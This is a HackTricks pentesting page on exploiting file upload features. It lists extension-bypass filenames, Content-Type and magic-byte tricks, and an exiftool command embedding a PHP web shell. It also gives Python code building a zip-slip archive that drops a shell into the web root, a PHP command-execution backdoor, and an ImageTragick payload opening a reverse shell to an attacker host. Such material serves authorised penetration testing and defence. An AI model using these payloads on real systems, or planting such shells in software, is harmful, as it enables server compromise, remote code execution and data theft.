HackTricks
Search…
Pentesting
Powered By GitBook
File Upload
Do you use Hacktricks every day? Did you find the book very useful? Would you like to receive extra help with cybersecurity questions? Would you like to find more and higher quality content on Hacktricks? Support Hacktricks through github sponsors so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!
If you want to know about my latest modifications/additions or you have any suggestion for HackTricks or PEASS, join the 💬​telegram group, or follow me on Twitter 🐦​@carlospolopm. If you want to share some tricks with the community you can also submit pull requests to https://github.com/carlospolop/hacktricks that will be reflected in this book and don't forget to give ⭐ on github to motivate me to continue developing this book.

File Upload General Methodology

Other useful extensions:
    PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc
    ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
    Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
    Coldfusion: .cfm, .cfml, .cfc, .dbm
    Flash: .swf
    Perl: .pl, .cgi
    Erlang Yaws Web Server: .yaws

Bypass file extensions checks

    1.
    If they apply, the check the previous extensions. Also test them using some uppercase letters: pHp, .pHP5, .PhAr ...
    2.
    Check adding a valid extension before the execution extension (use previous extensions also):
      file.png.php
      file.png.Php5
    3.
    Try adding special characters at the end. You could use Burp to bruteforce all the ascii and Unicode characters. (Note that you can also try to use the previously motioned extensions)
      file.php%20
      file.php%0a
      file.php%00
      file.php%0d%0a
      file.php/
      file.php.\
      file.
      file.php....
      file.pHp5....
    4.
    Try to bypass the protections tricking the extension parser of the server-side with techniques like doubling the extension or adding junk data (null bytes) between extensions. You can also use the previous extensions to prepare a better payload.
      file.png.php
      file.png.pHp5
      file.php%00.png
      file.php\x00.png
      file.php%0a.png
      file.php%0d%0a.png
      flile.phpJunk123png
    5.
    Add another layer of extensions to the previous check:
      file.png.jpg.php
      file.php%00.png%00.jpg
    6.
    Try to put the exec extension before the valid extension and pray so the server is misconfigured. **(useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php** will execute code):
      ex: file.php.png
    7.
    Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. “file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The “::$data” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. “file.asp::$data.”)
    8.
    Try to break the filename limits. The valid extension gets cut off. And the malicious PHP gets left. AAA<--SNIP-->AAA.php
    1
    # Linux maximum 255 bytes
    2
    /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
    3
    Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
    4
    # Upload the file and check response how many characters it alllows. Let's say 236
    5
    python -c 'print "A" * 232'
    6
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    7
    # Make the payload
    8
    AAA<--SNIP 232 A-->AAA.php.png
    Copied!

Bypass Content-Type & magic number

    1.
    Bypass Content-Type checks by setting the value of the Content-Type header to: image/png , text/plain , application/octet-stream
    2.
    Bypass magic number check by adding at the beginning of the file the bytes of a real image (confuse the file command). Or introduce the shell inside the metadata: exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
      1.
      It is also possible that the magic bytes are just being checked in the file and you could set them anywhere in the file.

Other Tricks to check

    Find a vulnerability to rename the file already uploaded (to change the extension).
    Find a Local File Inclusion vulnerability to execute the backdoor.
    Possible Information disclosure:
      1.
      Upload several times (and at the same time) the same file with the same name
      2.
      Upload a file with the name of a file or folder that already exists
      3.
      Uploading a file with “.”, “..”, or “…” as its name. For instance, in Apache in Windows, if the application saves the uploaded files in “/www/uploads/” directory, the “.” filename will create a file called “uploads” in the “/www/” directory.
      4.
      Upload a file that may not be deleted easily such as “…:.jpg” in NTFS. (Windows)
      5.
      Upload a file in Windows with invalid characters such as |<>*?” in its name. (Windows)
      6.
      Upload a file in Windows using reserved (forbidden) names such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
    Try also to upload an executable (.exe) or an .html (less suspicious) that will execute code when accidentally opened by victim.

Special extension tricks

If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code. If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.
The .phar files are like the .jar for java, but for php, and can be used like a php file (executing it with php, or including it inside a script...)
The .inc extension is sometimes used for php files that are only used to import files, so, at some point, someone could have allow this extension to be executed.

wget File Upload/SSRF Trick

In some occasions you may find that a server is using wget to download files and you can indicate the URL. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, this check can be bypassed. The maximum length of a filename in linux is 255, however, wget truncate the filenames to 236 characters. You can download a file called "A"*232+".php"+".gif", this filename will bypass the check (as in this example ".gif" is a valid extension) but wget will rename the file to "A"*232+".php".
1
#Create file and HTTP server
2
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
3
python3 -m http.server 9080
Copied!
1
#Download the file
2
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
3
The name is too long, 240 chars total.
4
Trying to shorten...
5
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
6
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
7
Connecting to 127.0.0.1:9080... connected.
8
HTTP request sent, awaiting response... 200 OK
9
Length: 10 [image/gif]
10
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
11
​
12
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
13
​
14
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
Copied!
Note that another option you may be thinking of to bypass this check is to make the HTTP server redirect to a different file, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This won't work unless wget is being used with the parameter --trust-server-names because wget will download the redirected page with the name of the file indicated in the original URL.

Other resources

From File upload to other vulnerabilities

Here’s a top 10 list of things that you can achieve by uploading (from link):
    1.
    ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
    2.
    SVG: Stored XSS / SSRF / XXE
    3.
    GIF: Stored XSS / SSRF
    4.
    CSV: CSV injection
    5.
    XML: XXE
    6.
    AVI: LFI / SSRF
    7.
    HTML / JS : HTML injection / XSS / Open redirect
    8.
    PNG / JPEG: Pixel flood attack (DoS)
    9.
    ZIP: RCE via LFI / DoS
    10.
    PDF / PPTX: SSRF / BLIND XXE

Burp Extension

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy
GitHub

Magic Header Bytes

    PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
    JPG: "\xff\xd8\xff"

Zip File Automatically decompressed Upload

If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
1
ln -s ../../../index.php symindex.txt
2
zip --symlinks test.zip symindex.txt
Copied!

Decompress in different folders

The decompressed files will be created in unexpected folders.
One could easily assume that this setup protects from OS-level command execution via malicious file uploads but unfortunately this is not true. Since ZIP archive format supports hierarchical compression and we can also reference higher level directories we can escape from the safe upload directory by abusing the decompression feature of the target application.
An automated exploit to create this kind of files can be found here: https://github.com/ptoomey3/evilarc​
1
python evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
Copied!
Some python code to create a malicious zip:
1
#!/usr/bin/python
2
import zipfile
3
from cStringIO import StringIO
4
​
5
def create_zip():
6
f = StringIO()
7
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
8
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
9
z.writestr('otherfile.xml', 'Content of the file')
10
z.close()
11
zip = open('poc.zip','wb')
12
zip.write(f.getvalue())
13
zip.close()
14
​
15
create_zip()
Copied!
To achieve remote command execution I took the following steps:
    1.
    Create a PHP shell:
1
<?php
2
if(isset($_REQUEST['cmd'])){
3
$cmd = ($_REQUEST['cmd']);
4
system($cmd);
5
}?>
Copied!
    1.
    Use “file spraying” and create a compressed zip file:
1
[email protected]:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
2
[email protected]:/tmp# ls *.php
3
simple-backdoor.php xxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
4
xxAcmd.php xxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
5
xxAxxAcmd.php xxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
6
[email protected]:/tmp# zip cmd.zip xx*.php
7
adding: xxAcmd.php (deflated 40%)
8
adding: xxAxxAcmd.php (deflated 40%)
9
adding: xxAxxAxxAcmd.php (deflated 40%)
10
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
11
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
12
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
13
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
14
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
15
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
16
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
Copied!
3.Use a hexeditor or vi and change the “xxA” to “../”, I used vi:
1
:set modifiable
2
:%s/xxA/..\//g
3
:x!
Copied!
Done!
Only one step remained: Upload the ZIP file and let the application decompress it! If it is succeeds and the web server has sufficient privileges to write the directories there will be a simple OS command execution shell on the system:
​​
​
​

ImageTragic

Upload this content with an image extension to exploit the vulnerability (ImageMagick , 7.0.1-1)
1
push graphic-context
2
viewbox 0 0 640 480
3
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
4
pop graphic-context
Copied!

Embedding PHP Shell on PNG

The primary reason putting a web shell in the IDAT chunk is that it has the ability to bypass resize and re-sampling operations - PHP-GD contains two functions to do this imagecopyresized and imagecopyresampled.

Polyglot Files

Polyglots, in a security context, are files that are a valid form of multiple different file types. For example, a GIFAR is both a GIF and a RAR file. There are also files out there that can be both GIF and JS, both PPT and JS, etc.
Polyglot files are often used to bypass protection based on file types. Many applications that allow users to upload files only allow uploads of certain types, such as JPEG, GIF, DOC, so as to prevent users from uploading potentially dangerous files like JS files, PHP files or Phar files.
This helps to upload a file that complins with the format of several different formats. It can allows you to upload a PHAR file (PHp ARchive) that also looks like a JPEG, but probably you will still needs a valid extension and if the upload function doesn't allow it this won't help you.
Last modified 1mo ago